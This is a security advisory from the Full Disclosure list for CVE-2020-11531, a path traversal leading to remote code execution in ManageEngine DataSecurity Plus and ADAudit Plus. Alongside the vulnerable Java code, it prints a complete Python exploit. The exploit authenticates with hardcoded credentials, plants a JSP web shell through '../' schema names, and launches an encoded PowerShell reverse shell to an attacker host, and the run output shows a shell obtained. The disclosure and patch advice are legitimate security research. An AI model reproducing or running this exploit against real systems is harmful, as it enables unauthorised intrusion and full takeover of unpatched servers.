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DataSecurity Plus Xnode Server - Remote Code Execution via Path Traversal

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XL-2020-001 - DataSecurity Plus Xnode Server - Remote Code Execution via Path Traversal

Identifiers

* CVE-2020-11531

* XL-20-001

CVSSv3 score

9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Vendor

ManageEngine - <https://www.manageengine.com/data-security/> (<https://www.manageengine.com/data-security/>)

Product

ManageEngine DataSecurity Plus is a two-pronged solution for fighting insider threats, preventing data loss, and meeting compliance requirements. It provides realtime monitoring of filesystem there by help in maintaining the file integrity and combating against ransomware attacks using automated threat response mechanisms. It comes with the features such as File Server Auditing, Data Leak Prevention and Data Risk assessment

Affected products

- All DataSecurity Plus versions prior to 6.0.1 (6011)
- All ADAudit Plus versions prior to 6.0.3 (6032)

Credit

Sahil Dhar - xen1thLabs - Software Labs

Vulnerability summary

ManageEngine DataSecurity Plus's DataEngine Xnode Server application does not validate the database schema name when handling 'DR-SCHEMA-SYNC' request. This allows an authenticated attacker to execute code in the context of DataSecurity Plus application by writing a JSP file in the webroot directory using a directory traversal attack.

Technical details

Upon receiving the 'DR-SCHEMA-SYNC' request, the application calls the 'syncDRSchemas()' function of 'DataRepositoryManager' class at line:109 of 'DataRepositoryManager.java' from 'dataengine-xnode.jar' package.

As can be seen at line:126 of function 'syncDRSchemas()', the function concatenates the name of database schema while generating the filename dynamically and write the values passed in a JSON object to it.

```
```java
109: public static JSONObject syncDRSchemas(DataRepositoryActionRequest request) throws Exception {
110: JSONObject jResponse = new JSONObject();
111: JSONObject jSchemas = request.drSchemaListObj();
112: File schemasFolder = ((Path) Environment.XNODE_DR_SCHEMA_DIR.value()).toFile();
113: schemaMap = new ConcurrentHashMap();
114: if (!schemasFolder.exists()) {
115: schemasFolder.mkdirs();
116: }
117: if (schemasFolder.isDirectory()) {
118: File[] schemaFileList = schemasFolder.listFiles();
119: for (File schemaFile: schemaFileList) {
120: schemaFile.delete();
121: }

```

```

122: }
123: Iterator iterator = jSchemas.keys();
124: while (iterator.hasNext()) {
125: String key = (String) iterator.next();
126: BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new
FileOutputStream(Environment.XNODE_DR_SCHEMA_DIR.value() + File.separator + key));
127: bw.write(jSchemas.getJSONObject(key).toString(2));
128: bw.close();
129: Object schema = new XNodeDRSchema(key.replace(".json", ""), jSchemas.getJSONObject(key));
130: schemaMap.put((DRSchema) schema.getSchemaName(), schema);
131: LOGGER.info("SYNCHED : DataRepository Schema '" + key + "'");
132: }
133: checkFieldWithMultipleDataTypes();
134: jResponse.put("error_code", 0);
135: return jResponse;
136: }
...

```

Proof of concept

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Using the following exploit code, we can observe that by sending a 'DR-SCHEMA-SYNC' request to the DataEngine XNode server with specially crafted schema name, one can write files to the webroot directory of DataSecurityPlus application and execute arbitrary JAVA code.

```

```python
#!/usr/bin/env python
# Author: Sahil Dhar (@0x401)

import socket
import sys
import requests
import telnetlib
import threading
import os

from time import sleep
from base64 import b64encode
from requests.packages.urllib3 import disable_warnings
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def reverse_tcp_handler(lport):
    print("[+] Starting reverse handler on port %d" %(lport))
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(("0.0.0.0", lport))
    s.listen(1)
    conn, addr = s.accept()
    print("[+] Got connection from %s" % addr[0])
    t.sock = conn
    print("[+] whoami ?")
    t.write(b"whoami\n")
    t.interact()

def get_bytearray_payload(lhost, lport):
    cmd = "$client = New-Object System.Net.Sockets.TCPClient('%'+lhost+'',"+str(lport)+");$stream =
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data =
(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String
);$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendb
yte.Length);$stream.Flush();$client.Close()"
    r_cmd = ""
    for c in cmd:
        r_cmd += c
        r_cmd += "\x00"
    payload = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc "%s"' %
(b64encode(r_cmd.encode('utf-8'))).decode('utf-8')
    r = ""
    for i in payload:
        r += str(ord(i))
        r += ", "
    r = r[0:-2]
    return r

def send_payload(rhost, rport, web_port, lhost, lport):

```

```

auth =
    '{"username":"atom","password":"chegan","request_timeout":10,"action":"session:/authenticate"}'

    shell = '{"action":"dr:/dr_schema_sync","request_id":2, "dr_schema_list":
{"../../../../../../webapps/fap/poc.jsp":{"a":"<% Runtime.getRuntime().exec(new String(new byte[]
{' + get_bytearray_payload(lhost, lport) + '}); %>'}}}'

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((rhost,int(rport)))
    s.send(auth.encode('utf-8'))
    sleep(1)
    s.send(shell.encode('utf-8'))
    print("[+] Triggering the shell...")
    r = requests.get("http://%s:%d/poc.jsp<http://%25s:%25d/poc.jsp>" % (rhost, web_port))

def main():
    help="%s <rhost> <rport> <web_port> <lhost> <lport>" % (os.path.basename(__file__))
    if len(sys.argv) < 6:
        print(help)
        os._exit(1)

    disable_warnings()
    rhost = sys.argv[1]
    rport = int(sys.argv[2])
    web_port = int(sys.argv[3])
    lhost = sys.argv[4]
    lport = int(sys.argv[5])
    th = threading.Thread(target=reverse_tcp_handler, args=(lport,))
    th.start()
    send_payload(rhost, rport, web_port, lhost, lport)

if __name__=="__main__":
    main()
...

...

#~ python3 exploit.py 192.168.56.108 29119 8800 192.168.56.1 4444
[+] Starting reverse handler on port 4444
[+] Triggering the shell...
[+] Got connection from 192.168.56.108
[+] whoami ?
windowsx64-pc\windowsx64
PS C:\Program Files (x86)\ManageEngine\DataSecurity Plus\bin>
...

```

Solution

Update the affected products to their latest version.

Timeline

Date	Status
04-MAR-2020	Reported to vendor
13-MAR-2020	Patch available
05-MAY-2020	Public disclosure

Sent through the Full Disclosure mailing list
<https://nmap.org/mailman/listinfo/fulldisclosure>
 Web Archives & RSS: <http://seclists.org/fulldisclosure/>

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